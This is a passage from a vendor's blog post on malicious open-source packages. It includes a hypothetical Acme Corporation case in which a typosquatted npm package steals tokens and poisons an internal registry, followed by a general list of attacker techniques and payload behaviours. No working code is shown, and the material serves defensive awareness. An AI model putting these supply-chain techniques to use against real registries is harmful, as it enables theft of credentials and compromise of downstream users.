&lt;p&gt;It is interesting to note that even a simple screening scheme (based on control of the DNS or GitHub repository/organization matching the group ID) and making PGP signatures mandatory for all artifacts except checksums removes most of the “noise,” typosquatting-like malicious packages, and limits much of dependency confusion. Sophisticated attacks are possible but much harder, with only a few like the &lt;code&gt;com.github.codingandcoding:maven-compiler-plugin&lt;/code&gt; known for Maven Central. And not all Maven registries follow...&lt;/p&gt;

&lt;p&gt;Security controls on package managers may burden but do not impede dependency attacks. The problem with multi-factor authentication is that for automation, derived credentials like access tokens or API keys are generated for accounts to be used in API calls made from automation scripts, with no backing interactive user providing a second factor.&lt;/p&gt;

&lt;p&gt;MFA is good for protecting user accounts from password leaks, but the generated access tokens or API keys need to be protected while active, or their owner will be impersonated by adversaries. A large fraction of package-based supply chain campaigns start with a leaked key or token. Just remember incidents like Ledger, 3CX, and many more, where non-interactive credentials were first exfiltrated in a preliminary intrusion for launching the supply chain attack.&lt;/p&gt;

&lt;h2&gt;
  
  
  The response was not robust enough
&lt;/h2&gt;

&lt;p&gt;The response given to this threat was not robust enough. In the third episode, we will focus on what worked, and what failed miserably. The industry needs to work collectively on the standards, processes, education, and tooling to mitigate risks to global supply chains. This is not a problem a single organization can solve on its own.&lt;/p&gt;

&lt;p&gt;To end this section, the crucial misunderstanding: &lt;strong&gt;we are talking about malicious packages, not vulnerable ones&lt;/strong&gt;. Vulnerabilities come from design or coding errors, accidentally introduced, without bad intent. Vulnerabilities may be exploited, but many are not.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Malicious packages are always intentional&lt;/strong&gt;, and there is &lt;strong&gt;100% exploitability&lt;/strong&gt; if they get executed. No comparable risk! Hence, it is paradoxical to see how many efforts are put into detecting and mitigating vulnerabilities, and the lack of equivalent measures for malicious components.&lt;/p&gt;

&lt;h2&gt;
  
  
  “We take security seriously”
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpvk7zgyfybw7jforx8c7.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpvk7zgyfybw7jforx8c7.jpg" alt="We take security seriously" width="800" height="400"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s imagine the customary &lt;strong&gt;Acme Corporation&lt;/strong&gt;. Acme, a major provider for WileCoyote.com, has most of its software coming from third parties, with more than 80% from open source projects. They produce software for internal usage, but they also provide software for their partners, providers, and customers/end-users.&lt;/p&gt;

&lt;p&gt;Acme has software written in Go, JavaScript, Java, C#, and Python, and runs most of its software on the cloud, under Kubernetes clusters. Acme builds its custom images from base images taken from Docker Hub and other registries. And they share a few libraries, packages, and container images in public registries as well.&lt;/p&gt;

&lt;p&gt;Acme takes security seriously. They are pretty aware of the problem of open source security, and the risk it conveys. All developers, system managers, and DevOps engineers use those cute little crypto keys as second-factor authentication. All commits to code repos are signed, branch protection is enabled with mandatory code reviews, CI/CD locked, secrets stored in a vault, and with an internal registry partially mirroring external registries where only the allowed, white-listed components are stored.&lt;/p&gt;

&lt;p&gt;Probably most organizations fit into this profile. Dear reader, yours certainly fits if you are yet here, isn’t it?&lt;/p&gt;

&lt;p&gt;Then one ill-fated day, an important frontend developer at Acme ran &lt;code&gt;npm install acme-cute-lib&lt;/code&gt;, forgetting that &lt;code&gt;@acme/cute-lib&lt;/code&gt; was the right scoped dependency. The exact mistake is not important—many things may go wrong even when one assumes perfect control of the software lifecycle. Our developer did not know that an APT group was targeting Acme and published a malicious component under that name, in a cunning way so the malicious behavior activates only when the software is installed on Acme computers. The package was not detected for weeks after its publication.&lt;/p&gt;

&lt;p&gt;An installation script is run that searches for credentials (there were many juicy access tokens on our developer’s laptop), allowing access to internal software repositories and the aforementioned internal registry, which of course is only accessible via VPN. The malicious code managed to use the existing VPN connection and publish a second-stage malicious component into the internal registry, affecting a common utils library shared by most of the software delivered by Acme.&lt;/p&gt;

&lt;p&gt;Weeks later, other organizations using Acme’s published tools started seeing strange traffic on their networks, with traffic using Acme’s protocol but directed to hosts resembling the Acme domain. The traffic was encrypted, but system monitoring tools found access to unexpected files and the execution of processes that looked like system commands but which ended up running downloaded executables.&lt;/p&gt;

&lt;p&gt;The rest is history: Acme first denied that such behavior was imputable to them and that all security measures were in place. Only after the cybersec media started asking why the source of the detected behavior originated from Acme’s components, and security analysis posted how riddled those components were with stealthy malware, Acme had to recognize the incident and called in an incident response firm. A negative marketing campaign that undermined hard-earned confidence in a second. “Acme was one npm install away from disaster” was a common headline. Then lawsuits and canceled contracts followed suit.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why poisoned packages are so popular
&lt;/h2&gt;

&lt;p&gt;This hypothetical incident shows that even with a reasonable approach to open source security, organizations need specific measures to avoid falling prey to malware in open source components. Schematically, the threat actor can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Create a new package (&lt;a href="https://xygeni.io/blog/typosquatting-vs-copycat-packages-understanding-the-differences/?utm_source=DEVTO&amp;amp;utm_medium=PRODUCT&amp;amp;utm_campaign=PRODUCT" rel="noopener noreferrer"&gt;typosquatting or dependency confusion&lt;/a&gt;—most common by volume).&lt;/li&gt;
&lt;li&gt;Try to infect an existing one:

&lt;ul&gt;
&lt;li&gt;Injecting code via pull requests.&lt;/li&gt;
&lt;li&gt;Using social engineering to become a maintainer.&lt;/li&gt;
&lt;li&gt;Gaining credentials and impersonating maintainers (e.g. right9ctrl or “Jao Tan”).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Inject malware during the build (via malicious scripts or MITM on downloads).&lt;/li&gt;

&lt;li&gt;Directly upload a poisoned artifact using stolen registry credentials.&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;Poisoning registries with malware is the basis for dependency attacks. Nothing new under the sun: its prevalence exploded, but the same techniques work now as five years ago.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyvehggr6hy4lwijefn41.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fyvehggr6hy4lwijefn41.png" alt="IBackstabber's Knife Collection." width="800" height="260"&gt;&lt;/a&gt;&lt;br&gt;
&lt;em&gt;Source: Backstabber’s Knife Collection&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The malicious package can operate at:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Install time&lt;/strong&gt; (via install scripts).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Build time&lt;/strong&gt; (modifying artifacts).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Runtime&lt;/strong&gt; (triggering payloads dynamically).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Behaviors include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Information exfiltration (e.g. secrets or source code).&lt;/li&gt;
&lt;li&gt;Dropping additional malware.&lt;/li&gt;
&lt;li&gt;Lateral movement and persistence mechanisms.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;p&gt;The next episode &lt;a href="https://xygeni.io/blog/anatomy-of-malicious-packages-what-are-the-trends/?utm_source=DEVTO&amp;amp;utm_medium=PRODUCT&amp;amp;utm_campaign=PRODUCT" rel="noopener noreferrer"&gt;Anatomy of Malicious Packages: What Are the Trends?&lt;/a&gt; will focus on real cases we are monitoring with our Malware Early Warning system, day after day. We will review which types of malware were seen, and which tactics, techniques, and procedures are the favorites. We will examine obfuscation and how they try to hide from potential reviewers, the evasion techniques to avoid detection, and how they are evolving with telemetry and lateral movement. Please stay tuned!&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.usenix.org/system/files/sec20fall_ohm_prepub.pdf" rel="noopener noreferrer"&gt;Backstabber’s Knife Collection: A Review of Open Source Software Supply Chain Attacks. M. Ohm et al., May 2020&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://xygeni.io/malware-across-devops/" rel="noopener noreferrer"&gt;Open Source Malware Protection. Whitepaper from Xygeni&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href="https://xygeni.io/blog/software-supply-chain-security-retrospect-2024/" rel="noopener noreferrer"&gt;Software Supply Chain Security Retrospect: Shaping a Safer 2024. Report from Xygeni&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cybersecurity</category>
      <category>opensource</category>
      <category>devops</category>
      <category>learning</category>
    </item>
  </channel>
</rss>
